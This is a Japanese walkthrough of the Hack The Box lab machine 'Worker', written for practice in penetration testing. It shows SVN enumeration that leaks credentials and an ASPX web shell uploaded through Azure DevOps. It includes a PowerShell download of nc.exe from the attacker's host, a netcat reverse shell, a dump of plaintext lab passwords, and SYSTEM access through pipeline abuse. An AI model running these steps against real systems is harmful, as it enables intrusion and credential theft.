【HackTheBox】Worker - Walkthrough -

本稿では、[Hack The Box](https://www.hackthebox.eu/)にて提供されている Retired Machines の「[Worker](https://www.hackthebox.eu/home/machines/profile/270)」に関する攻略方法（Walkthrough）について検証します。

>Hack The Boxに関する詳細は、「[Hack The Boxを楽しむためのKali Linuxチューニング](https://qiita.com/v_avenger/items/c85d946ed2b6bf340a84)」を併せてご確認ください。

# マシンの詳細
![Worker.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/176f38ad-66e6-e9be-fbb2-7879c67cd65e.jpeg)

# エグゼクティブサマリー
## 戦術（Tactic）
- 「[TA0007: 探索（Discovery）](https://attack.mitre.org/tactics/TA0007/)」, 環境を把握するための手順を確認します。
- 「[TA0006: 認証情報アクセス（Credential Access）](https://attack.mitre.org/tactics/TA0006/)」, アカウントとパスワードを盗用するための手順を確認します。
- 「[TA0004: 特権エスカレーション（Privilege Escalation）](https://attack.mitre.org/tactics/TA0004/)」, より高いレベルの権限取得を狙います。
- 「[TA0002: 実行（Execution）](https://attack.mitre.org/tactics/TA0002/)」, 悪意あるコードを実行します。

## ツール
- nmap
- svn
- Azure DevOps
- WebShell: cmdasp.aspx
- winPEASx64.exe
- Evil-WinRM

# 詳細手順
# ネットワークサービススキャン
## nmap
IPアドレス `10.10.10.203`を`worker.htb`として、`/etc/hosts`に追加します。その上で、nmapを使用し、ポートスキャンを実行します。

```
kali@kali:~$ nmap -Pn -T4 -A -v worker.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 22:24 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating Connect Scan at 22:24
Scanning worker.htb (10.10.10.203) [1000 ports]
Discovered open port 80/tcp on 10.10.10.203
Discovered open port 3690/tcp on 10.10.10.203
Completed Connect Scan at 22:24, 15.07s elapsed (1000 total ports)
Initiating Service scan at 22:24
Scanning 2 services on worker.htb (10.10.10.203)
Completed Service scan at 22:24, 6.41s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.203.
Initiating NSE at 22:24
Completed NSE at 22:24, 3.79s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.82s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.21s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open  svnserve Subversion
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

NSE: Script Post-scanning.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.88 seconds
```

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

|ポート番号|サービス|バージョン|
|:---|:---|:---|
|80/tcp|http|Microsoft IIS httpd 10.0|
|3690/tcp|svnserve|Subversion|

## HTTPサービスのスキャン
`Firefox`ブラウザを使って、`worker.htb`の`80/tcp`にアクセスしてみます。初期設定の`Internet Information Services(IIS)`ウェブページが表示されます。

![iis.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/92bb2b95-147f-2081-6920-2fb93c816116.png)

## svnserveのスキャン
`svn`コマンドを使って、`worker.htb`の`3690/tcp`にアクセスしてみます。

```
kali@kali:~$ svn list svn://worker.htb
dimension.worker.htb/
moved.txt
```

`moved.txt`ファイルをダウンロードし、その内容を確認します。

```
kali@kali:~$ svn export svn://worker.htb/moved.txt
A    moved.txt
Export complete.
kali@kali:~$ cat moved.txt 
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)
```

![svn.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/2f1424b3-07e2-b51a-9a44-b9aa8967a739.png)

新たなホスト名`devops.worker.htb`を`/etc/hosts`ファイルに追加しておきます。

```
kali@kali:~$ cat /etc/hosts | grep 203
10.10.10.203    worker.htb devops.worker.htb
```

`Firefox`ブラウザを使って、`devops.worker.htb`の`80/tcp`にアクセスしてみます。認証画面が表示されます。この先に進むための情報はまだ得られていません。

![web_credential.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/0394abbe-1240-9f25-bd45-8e6f0ed56237.png)

`svn`コマンドを使って、探索を進めます。`info`オプションにて一覧表示させた結果、`nathen`というユーザー名を得ることができました。

```
kali@kali:~$ svn info svn://worker.htb
Path: .
URL: svn://worker.htb
Relative URL: ^/
Repository Root: svn://worker.htb
Repository UUID: 2fc74c5a-bc59-0744-a2cd-8b7d1d07c9a1
Revision: 5
Node Kind: directory
Last Changed Author: nathen
Last Changed Rev: 5
Last Changed Date: 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020)
```

`svn`コマンドの`log`オプションを表示させます。

```
kali@kali:~$ svn log svn://worker.htb
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line

Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line

Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 09:46:19 -0400 (Sat, 20 Jun 2020) | 1 line

-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 09:45:16 -0400 (Sat, 20 Jun 2020) | 1 line

Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 09:43:43 -0400 (Sat, 20 Jun 2020) | 1 line

First version
------------------------------------------------------------------------
```

`worker.htb`のリポジトリからディレクトリツリーをダウンロードします。

```
kali@kali:~$ svn export -r 2 svn://worker.htb --force
```
![export.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/171c2a32-733a-fddb-3f4f-34fa7e620be2.png)

# アクセス権の取得
ダウンロードした`deploy.ps1`の内容を確認します。

```
kali@kali:~$ cat deploy.ps1 
$user = "nathen" 
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
```

ユーザー名とパスワードを得ることができました（ログイン後に`User profile`から`Display Name`も確認できます）。

|ユーザー名|パスワード|Display Name|
|:---|:---|:---|
|nathen|wendel98|Nathalie Henley|

`Firefox`ブラウザを使って、`devops.worker.htb`の`80/tcp`にアクセスしてみます。認証情報として`nathen/wendel98`を使用します。
ログインに成功しました。

![devops.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/6e3ffcc2-08da-984a-3cf7-2257a0ef31de.png)

`SmartHotel360`プロジェクトの内容について確認します。
![spectral_project.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a9a58305-c976-b726-cf34-2d5ab061343a.png)

新たに`spectral`というホスト名の存在が確認できます。`/etc/hosts`ファイルに追加しておきます。

```
kali@kali:~$ cat /etc/hosts | grep 203
10.10.10.203    worker.htb devops.worker.htb spectral.worker.htb
```

## webshellのアップロード
`kali`上には、ASPX形式の`webshell`が予め用意されています。

```
kali@kali:~$ locate cmdasp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/aspx/cmdasp.aspx
```

## Azure DevOps Repos
Reposを使ってファイル登録を行う手順は次のとおりです。

1. 作業用の`branch`をきる
2. `Commit`してプッシュする
3. `Pull Request`をかけてマージする

`Azure DevOps Repos`を使って`cmdasp.aspx`をアップロードします。
![Repo.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3c5df267-998c-9114-1263-52f00765e5e1.png)

`＋New branch`をクリックします。ブランチ名、ブランチの元を選択して`Create branch`をクリックします。
今回はブランチ名を`webshell`、ブランチの元を`master`、Work Itemの指定は`Product Backlog Item 12`としました。
![branch.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/878c4f3b-83f7-e6dc-d575-36294617488d.png)

`Upload file(s)`をクリックし、`cmdasp.aspx`ファイルを`Commit`します。
![commit.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/ab72a948-be37-f3f9-0931-e7069b95f78d.png)

`pull request`が作成されました。
![pull request.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3fc43d4d-53a1-07b8-2ed8-b46b09fa0871.png)

`webshell`ブランチの内容を`master`ブランチにマージします。
`Pull requests`を選択し、`New pull request`ボタンをクリックします。
![New pull request.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/52cbbd90-544f-b869-4861-37771399d607.png)

`New Pull Request`にて`[webshell] into [master]`が指定されていることを確認し、`Create`ボタンをクリックします。
![create.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7dea0fbb-f17e-8abb-de1f-756123e58f1e.png)

`Approve`ボタンをクリックし、`Complete`ボタンをクリックします。
![Approve.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/f53fa3b6-560a-3e66-caf7-d062aa503cb8.png)

`Complete merge`ボタンをクリックします。以上で`master`ブランチへのマージは完了です。`cmdasp.aspx`ファイルがアップロードされました。
![Complete.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/674f80ab-5804-cfcc-1fd5-2ac084db8ade.png)

# ユーザーシェルの取得
## webシェルによるリバースシェルの設置
`Firefox`にて`cmdasp.aspx`を実行します。

```
http://spectral.worker.htb/cmdasp.aspx
```

![cmdasp.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/30833020-fc5b-327a-7ae2-7abd008b1247.png)

`cmdasp.aspx`にてリバースシェルを設置するためのコマンドを実行します。
`worker.htb`に`C:¥Temp`フォルダを作成します。

```
mkdir C:\temp
```

`powershell`を使い、`worker.htb`に`nc.exe`をダウンロードします。コマンド構文は次のとおりです。
なお、`Kali`上で予めWebサーバー（`python -m SimpleHTTPServer 8081`）を立ち上げておく必要があります。

```
powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/nc.exe -Outfile C:\\temp\\nc.exe
```

![nc_download.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7c268a72-d29f-0ccd-c593-f76ee09ae891.png)


## NetCatによるリバースシェルの接続
ポート 1234にてリバースシェルを待ち受けます。

```
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
```

`cmdasp.aspx`にてリバースシェルを起動します。コマンド構文は次のとおりです。

```
C:\temp\nc.exe -e powershell.exe 10.10.14.13 1234
```

```
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...

connect to [10.10.14.13] from (UNKNOWN) [10.10.10.203] 50394
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv> 
```


# システム探索

```
PS C:\windows\system32\inetsrv> cd c:\temp
cd c:\temp
```

```
PS C:\temp> powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/winPEASx64.exe -Outfile C:\\temp\\winPEASx64.exe
powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/winPEASx64.exe -Outfile C:\\temp\\winPEASx64.exe
```

```
PS C:\temp> ./winPEASx64.exe
```

```
  [+] Network Shares
    ADMIN$ (Path: C:\Windows)
    C$ (Path: C:\)
    IPC$ (Path: )
    W$ (Path: W:\)
```

```
PS C:\temp> cd w:\
cd w:\
PS W:\> dir
dir


    Directory: W:\


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       2020-06-16     18:59                agents                                                                
d-----       2020-03-28     14:57                AzureDevOpsData                                                       
d-----       2020-04-03     11:31                sites                                                                 
d-----       2020-06-20     16:04                svnrepos
```

```
PS W:\> cd sites
cd sites
PS W:\sites> dir
dir


    Directory: W:\sites


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       2020-07-20     23:43                alpha.worker.htb                                                      
d-----       2020-07-20     23:43                cartoon.worker.htb                                                    
d-----       2020-04-03     12:27                dimension.worker.htb                                                  
d-----       2020-07-20     23:43                lens.worker.htb                                                       
d-----       2020-07-20     23:43                solid-state.worker.htb                                                
d-----       2020-08-21     18:14                spectral.worker.htb                                                   
d-----       2020-07-20     23:43                story.worker.htb                                                      
d-----       2020-07-20     23:43                twenty.worker.htb
```

```
PS W:\svnrepos\www\conf> type passwd
type passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.

[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday
PS W:\svnrepos\www\conf>
```

# WinRM

`nmap`コマンドにて、`WinRM`サービス（`5985/tcp`）の状況を確認します。結果、サービスが稼働していることが確認できます。

```
kali@kali:~$ nmap -p 5985 worker.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-19 04:25 EDT
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.20s latency).

PORT     STATE SERVICE
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
```

そこで、`Evil-WinRM`ツールを介して、`worker.htb`サーバーで稼働している`WinRM`サービスに接続し、インタラクティブな`PowerShell`を確立します。
確立したシェルにて`user.txt`ファイルを取得します。

|ユーザー名|パスワード|
|:---|:---|:---|
|robisl|wolves11|

```
kali@kali:~/evil-winrm$ ./evil-winrm.rb -i 10.10.10.203 -u robisl -p wolves11

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\robisl\Documents> hostname; whoami
Worker
worker\robisl
*Evil-WinRM* PS C:\Users\robisl\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\robisl\Desktop> dir


    Directory: C:\Users\robisl\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        8/18/2020   4:23 PM             34 user.txt

![PartsUnlimited.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/363c79e2-b9d6-6fc0-b0d9-fd602faf1c81.png)


*Evil-WinRM* PS C:\Users\robisl\Desktop> type user.txt
b2a1e328399ff4dba46a9661c7311f08
```

![evilwinrm.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/6cfbf65d-a9ac-5fa2-4679-8ef25e7b0a15.png)

# Azure DevOps
`robisl/wolves11`アカウントにて、`devops.worker.htb`へ接続します。

![devops_ekenas.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a5899785-2a79-fa42-f4f8-afb7bacf6c45.png)

`Pipelines`の`Builds`を選択し、`New pipeline`ボタンをクリックします。
![pipeline.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/89d11cb9-3bf9-d5fa-1d07-06243395907d.png)

`Azure Repos git`を選択します。
![Azure Repos Git.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/386c0224-b142-e943-de31-2f1d21e0cbe6.png)

`PartsUnlimited`を選択します。
![PartsUnlimited.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/552f19f1-5b7a-d9a4-4b48-841287dd64cb.png)

`Starter pipeline`
![Starter pipeline.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/999c8894-0405-551f-467d-d47bba0cb18c.png)

`azure-pipelines.yml`コードにおいて、`echo Hello, world!`を`whoami`に書き換えます。さらに`pool: 'Default'`の記述を削除します。
![whoami.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/9c9d7dcd-1a9c-c7ba-0d83-82ab2282ebd6.png)

コードの編集を終えたら、`Save and run`ボタンをクリックします。このとき、`Create a new branch for this commit and start a pull request.`を選択します。
![save and run.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/19348957-5aee-08d7-fcd3-76876deda30c.png)

実行結果が`succeeded`になっていることを確認します。
![Job.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/55cf74b2-220c-31ef-daeb-bad4376b29a2.png)

`Run a one-line script`の`View detailed logs`を確認します。`whoami`コマンドの結果、`nt authority\system`権限にて動作していることが確認できました。
![one-line script.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/9bcbc35b-c08e-8e7b-a524-192339b5ba3f.png)

```
type C:\Users\Administrator\Desktop\root.txt
```

![root.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/91f6ddbc-f853-effb-8379-de18a5092d3e.png)

# 参考資料
- Hack The Box Forums 「[Official Worker Discussion](https://forum.hackthebox.eu/discussion/3713/official-worker-discussion)」
- mstakaha1113 「[Azure DevOps とは？](https://qiita.com/mstakaha1113/items/1cf45a5119e1397d0315)」
- mstakaha1113 「[Azure DevOps Repos(リポ) を使ってみる](https://qiita.com/mstakaha1113/items/e2c6ef2622bc6cc0b0ef)」
- mstakaha1113 「[Azure DevOps Pipelines(パイプライン)の超概要](https://qiita.com/mstakaha1113/items/f9fad71b8bd33e77d9ce)」